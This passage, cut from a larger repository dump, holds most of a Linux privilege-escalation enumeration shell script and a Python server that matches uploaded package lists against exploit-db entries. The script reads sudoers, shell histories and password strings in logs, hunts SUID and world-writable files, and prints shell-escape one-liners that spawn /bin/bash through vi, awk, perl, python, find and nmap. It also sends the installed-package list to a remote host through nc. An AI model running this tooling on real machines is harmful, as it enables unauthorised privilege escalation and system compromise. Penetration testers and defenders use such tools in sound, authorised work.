/etc/passwd | awk -F: '(/$3 == 0) { print /$1 }'"; 127 | 128 | systemNAME="Sudo Users"; 129 | cmdRESPONSE "cat /etc/sudoers | grep -v '#'"; 130 | 131 | systemNAME="Sudoers (Privileged) [/etc/sudoers]"; 132 | cmdRESPONSE "cat /etc/sudoers | grep -v '#'"; 133 | 134 | systemNAME="Sudoers Files (Privileged) [/etc/sudoers.d/*]"; 135 | cmdRESPONSE "cat /etc/sudoers.d/* | grep -v '#'"; 136 | 137 | systemNAME="User's specific NOPASSWD sudo entries"; 138 | cmdRESPONSE "sudo -ln"; 139 | 140 | systemNAME="Root and Current User History (depends on privs)"; 141 | cmdRESPONSE "ls -al ~/.*_history 2>/dev/null; ls -la /root/.*_history"; 142 | 143 | systemNAME="Environment Variables"; 144 | cmdRESPONSE "env | grep -v "LS_COLORS""; 145 | 146 | systemNAME="Printer"; 147 | cmdRESPONSE "lpstat -a"; 148 | } 149 | 150 | filePERMISSIONS(){ 151 | systemAREA="FILE SYSTEMS & PERMISSIONS"; 152 | systemAREAtitle; 153 | 154 | systemNAME="Mounts"; 155 | cmdRESPONSE "mount"; 156 | 157 | systemNAME="fstab Entries"; 158 | cmdRESPONSE "cat /etc/fstab"; 159 | 160 | systemNAME="Scheduled Cron Jobs"; 161 | cmdRESPONSE "ls -al /etc/cron*"; 162 | 163 | systemNAME="Writable Cron Directories"; 164 | cmdRESPONSE "ls -aRl /etc/cron* | awk '/$1 ~ /w.$'"; 165 | 166 | systemNAME="Root Home Folder Accessibility"; 167 | cmdRESPONSE "ls -lt /root/"; 168 | 169 | systemNAME="World Writeables Directories for User/Group 'root'"; 170 | cmdRESPONSE "find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' | grep root"; 171 | 172 | systemNAME="World Writeables Directories for non-root Users"; 173 | 174 | cmdRESPONSE "find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' | grep -v root "; 175 | 176 | systemNAME="World Writeables Files"; 177 | cmdRESPONSE "find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';'"; 178 | 179 | systemNAME="SUID/GUID Files and Directories"; 180 | cmdRESPONSE "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null"; 181 | 182 | systemNAME="Checking if root's home folder is accessible"; 183 | cmdRESPONSE "ls -ahlR /root"; 184 | 185 | systemNAME="Configuration Files Containing Keyword 'password'"; 186 | cmdRESPONSE "find /var/log -name '*.log' | xargs -l10 egrep 'pwd|password' 2>/dev/null"; 187 | } 188 | 189 | applicationSERVICES(){ 190 | systemAREA="APPLICATIONS & SERVICES"; 191 | systemAREAtitle; 192 | 193 | systemNAME="Installed Packages"; 194 | cmdRESPONSE "if [ -x "$(command -v dpkg)" ]; then dpkg -l | awk '{\$1=\$4=\"\"; print \$0}'; elif [ -x "$(command -v dnf)" ]; then dnf -qa | sort -u; elif [ -x "$(command -v rpm)" ]; then rpm -qa | sort -u; fi"; 195 | 196 | systemNAME="Current Running Services"; 197 | cmdRESPONSE "ps aux | awk '{print \$1,\$2,\$9,\$10,\$11}'"; 198 | 199 | systemNAME="Bash version"; 200 | cmdRESPONSE "bash --version | grep version"; 201 | 202 | systemNAME="Sudo version"; 203 | cmdRESPONSE "sudo -V | grep version"; 204 | 205 | systemNAME="Apache Version and Modules"; 206 | cmdRESPONSE "apache2 -v 2>/dev/null; apache2ctl -M 2>/dev/null; httpd -v 2>/dev/null; apachectl -l"; 207 | 208 | systemNAME="Apache Config File"; 209 | cmdRESPONSE "cat /etc/apache2/apache2.conf"; 210 | 211 | systemNAME="Processes and Packages Running as Root or other Superuser"; 212 | EXTDGREP="($(ps -u 0 | tail -n+2 | rev | cut -d " " -f 1 | rev | cut -d "/" -f1 | sort | uniq | xargs | tr " " "|"))"; 213 | cmdRESPONSE "if [ -x "$(command -v dpkg)" ]; then dpkg -l | grep -iE '${EXTDGREP}'; elif [ -x "$(command -v dnf)" ]; then dnf -qa | grep -iE '${EXTDGREP}'; elif [ -x "$(command -v rpm)" ]; then rpm -qa | grep -iE '${EXTDGREP}'; fi"; 214 | 215 | systemNAME="Installed Tools"; 216 | cmdRESPONSE "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp"; 217 | 218 | systemNAME="Related Shell Escape Sequences"; 219 | cmdRESPONSE "if [ -x "$(command -v vi)" ]; then \ 220 | echo -ne \"vi-->\t:!bash\n\"; \ 221 | echo -ne \"vi-->\t:set shell=/bin/bash:shell\n\"; \ 222 | fi; \ 223 | if [ -x "$(command -v vim)" ]; then \ 224 | echo -ne \"vim-->\t:!bash\n\" | sed 's|^| |'; \ 225 | echo -ne \"vim-->\t:set shell=/bin/bash:shell\n\" | sed 's|^| |'; \ 226 | fi; \ 227 | if [ -x "$(command -v awk)" ]; then \ 228 | echo -ne \"awk-->\tawk 'BEGIN {system(\"/bin/bash\")}'\n\" | sed 's|^| |'; \ 229 | fi; \ 230 | if [ -x "$(command -v perl)" ]; then \ 231 | echo -ne \"perl-->\tperl -e 'exec \"/bin/bash\";'\n\" | sed 's|^| |'; \ 232 | fi; \ 233 | if [ -x "$(command -v python)" ]; then \ 234 | echo -ne \"python-->\tpython -c '__import__(\"os\").system(\"/bin/bash\")'\n\" | sed 's|^| |'; \ 235 | fi; \ 236 | if [ -x "$(command -v find)" ]; then \ 237 | echo -ne \"find->\tfind / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;\n\" | sed 's|^| |'; \ 238 | fi; \ 239 | if [ -x "$(command -v nmap)" ]; then \ 240 | echo -ne \"nmap-->\t--interactive\n\" | sed 's|^| |'; \ 241 | fi"; 242 | 243 | } 244 | 245 | searchEXPLOITS(){ 246 | systemAREA="Search for Exploits"; 247 | systemAREAtitle; 248 | 249 | echo -e "[*] FINDING RELEVANT PRIVILEGE ESCALATION EXPLOITS..." 250 | read -p "[?] Would you like to search for possible exploits? [y/N] " connectToServer 251 | 252 | if [[ $connectToServer = y* ]] 253 | then 254 | read -p "[?] What is the address of the server? " server 255 | read -p "[?] What port is the server using? " port 256 | echo -ne "\n\n" 257 | echo -e "[ ] Searching on $server:$port" 258 | printf "%*s\n" "80" | tr " " "*" 259 | dpkg -l | tail -n +6 | awk '{print $2, $3} END {print ""}' | nc $server $port 260 | printf "%*s\n" "80" | tr " " "*" 261 | fi 262 | } 263 | 264 | start(){ 265 | scriptTITLE; 266 | operatingSYSTEM; 267 | netWORK; 268 | userENVIRONMENT; 269 | filePERMISSIONS; 270 | applicationSERVICES; 271 | searchEXPLOITS; 272 | echo ${LINE}; 273 | echo " FINISHED" 274 | echo ${LINE}; 275 | echo 276 | } 277 | 278 | start; 279 | -------------------------------------------------------------------------------- /privcheckerserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ############################################################################################################### 3 | ## [Title]: privcheckerserver.py -- a Linux Privilege Escalation Check Script Server 4 | ## [Author]: Mike Merrill (linted) -- https://github.com/linted 5 | ##------------------------------------------------------------------------------------------------------------- 6 | ## [Details]: 7 | ## This script is intended to be executed remotely to enumerate search for common privilege escalation 8 | ## exploits found in exploit-db's database 9 | ##------------------------------------------------------------------------------------------------------------- 10 | ## [Warning]: 11 | ## This script comes as-is with no promise of functionality or accuracy. 12 | ##------------------------------------------------------------------------------------------------------------- 13 | ## [Modification, Distribution, and Attribution]: 14 | ## Permission is herby granted, free of charge, to any person obtaining a copy of this software and the 15 | ## associated documentation files (the "Software"), to use, copy, modify, merge, publish, distribute, and/or 16 | ## sublicense copies of the Software, and to permit persons to whom the Software is furnished to do so, subject 17 | ## to the following conditions: 18 | ## 19 | ## The software must maintain original author attribution and may not be sold 20 | ## or incorporated into any commercial offering. 21 | ## 22 | ## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT 23 | ## LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO 24 | ## EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER 25 | ## IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE 26 | ## USE OR OTHER DEALINGS IN THE SOFTWARE. 27 | ############################################################################################################### 28 | 29 | try: 30 | import socketserver 31 | from os.path import isfile 32 | import argparse 33 | import multiprocessing 34 | from csv import DictReader 35 | import re 36 | except Exception as e: 37 | print("Caught exception: {}\nAre you running with python3?".format(e)) 38 | exit(1) 39 | 40 | _PORT_ = 4521 41 | _IP_ = '0.0.0.0' 42 | _SEARCHSPLOIT_ = "/usr/share/exploitdb/files_exploits.csv" 43 | _LEVEL_ = 0 44 | 45 | class SearchHandler(socketserver.StreamRequestHandler): 46 | def handle(self): 47 | try: 48 | print('[+] Connection from '+ self.client_address[0]) 49 | self.pool = multiprocessing.Pool(10) 50 | 51 | inputs = [] 52 | 53 | for line in iter(self.rfile.readline, b'\n'): 54 | line = line.decode().strip().lower().split(" ") 55 | 56 | if ":" in line[-1]: 57 | line[-1] = line[-1].split(":", 2)[1] 58 | 59 | line[-1] = re.split("[\-+]", line[-1])[0] 60 | 61 | line.append('priv') 62 | line.append('esc') 63 | 64 | query = " ".join(line) 65 | 66 | if query not in inputs: 67 | inputs.append(query) 68 | 69 | line[0] = re.split("[0-9\.]+(\-|$)", line[0])[0] 70 | 71 | query = " ".join(line) 72 | 73 | if query not in inputs: 74 | inputs.append(query) 75 | 76 | if _LEVEL_ >= 1: 77 | while '.' in line[-3]: 78 | line[-3] = line[-3].rsplit('.', 1)[0] 79 | if '.' in line[-3]: 80 | query = " ".join(line) 81 | if query not in inputs: 82 | inputs.append(query) 83 | temp = line[-3] 84 | line[-3] += '.x' 85 | query = " ".join(line) 86 | if query not in inputs: 87 | print(query) 88 | inputs.append(query) 89 | line[-3] = temp 90 | else: 91 | if _LEVEL_ >= 2: 92 | line[-3] += '.x' 93 | query = " ".join(line) 94 | if query not in inputs: 95 | inputs.append(query) 96 | if _LEVEL_ >= 3: 97 | line[-3] = line[-3][:-1] 98 | query = " ".join(line) 99 | if query not in inputs: 100 | inputs.append(query) 101 | break 102 | 103 | for output in self.pool.imap(SearchHandler.search, iter(inputs)): 104 | if output: 105 | print(output) 106 | self.wfile.write(output.encode() + b'\n') 107 | 108 | self.pool.close() 109 | print('[$] Closing connection from {}\n'.format(self.client_address[0])) 110 | self.pool.join() 111 | except Exception as e: 112 | self.pool.terminate() 113 | self.wfile.write('[-] Exception Caught: {}'.format(e).encode()) 114 | print("[-] Exception Caught: {}".format(e)) 115 | self.pool.join() 116 | 117 | @classmethod 118 | def search(cls, data): 119 | query = data.split(" ") 120 | 121 | output = [] 122 | for rows in ExploitServer.exploitDatabase: 123 | if all([term in rows["description"].lower() for term in query]): 124 | output.append('\t'.join((rows["description"], rows["file"]))) 125 | if output: 126 | return "[ ] " + "\n".join([' '.join(query[:-2]), *output]) 127 | 128 | class ExploitServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 129 | exploitDatabase = [] 130 | 131 | def main(): 132 | exploit = ExploitServer((_IP_, _PORT_), SearchHandler) 133 | print('[ ] Starting server on port ' + str(_PORT_)) 134 | try: 135 | exploit.serve_forever() 136 | except: 137 | print('[-] Caught exception. Shutting down.') 138 | exploit.shutdown() 139 | exploit.server_close() 140 | finally: 141 | exploit.shutdown() 142 | exploit.server_close() 143 | 144 | if __name__ == "__main__": 145 | #parse the args 146 | parser = argparse.ArgumentParser() 147 | parser.add_argument("-i", "--ip", help="Ip to listen on") 148 | parser.add_argument("-p", "--port", help="Port to listen on") 149 | parser.add_argument("-f", "--file", help="The exploit csv to use") 150 | parser.add_argument("-l", "--level", action="count", default=0, help="The level of version matching to attempt. The higher the level, the more likely you are to match an exploit, however the number of false positive matches also increases.") 151 | args = parser.parse_args() 152 | if args.ip: 153 | _IP_ = args.ip 154 | if args.port: 155 | _PORT_ = args.port 156 | if args.file: 157 | _SEARCHSPLOIT_ = args.file 158 | if args.level: 159 | _LEVEL_ = args.level 160 | 161 | if not isfile(_SEARCHSPLOIT_): 162 | print("[-] Cannot find csv databse: {}\nFor more details visit: https://github.com/offensive-security/exploit-database".format(_SEARCHSPLOIT_)) 163 | exit(2) 164 | 165 | #parse the exploit database and collect all the results 166 | try: 167 | with open(_SEARCHSPLOIT_) as Fin: 168 | reader = DictReader(Fin) 169 | for lines in reader: 170 | #add the database to the exploit server for non global persistance... or maybe it is technically still global? 171 | ExploitServer.exploitDatabase.append(lines) 172 | except Exception as e: 173 | print("[-] Exception caught while attempting to parse database file. {}".format(e)) 174 | exit(3) 175 | 176 | print("[ ] Starting up") 177 | main() 178 | --------------------------------------------------------------------------------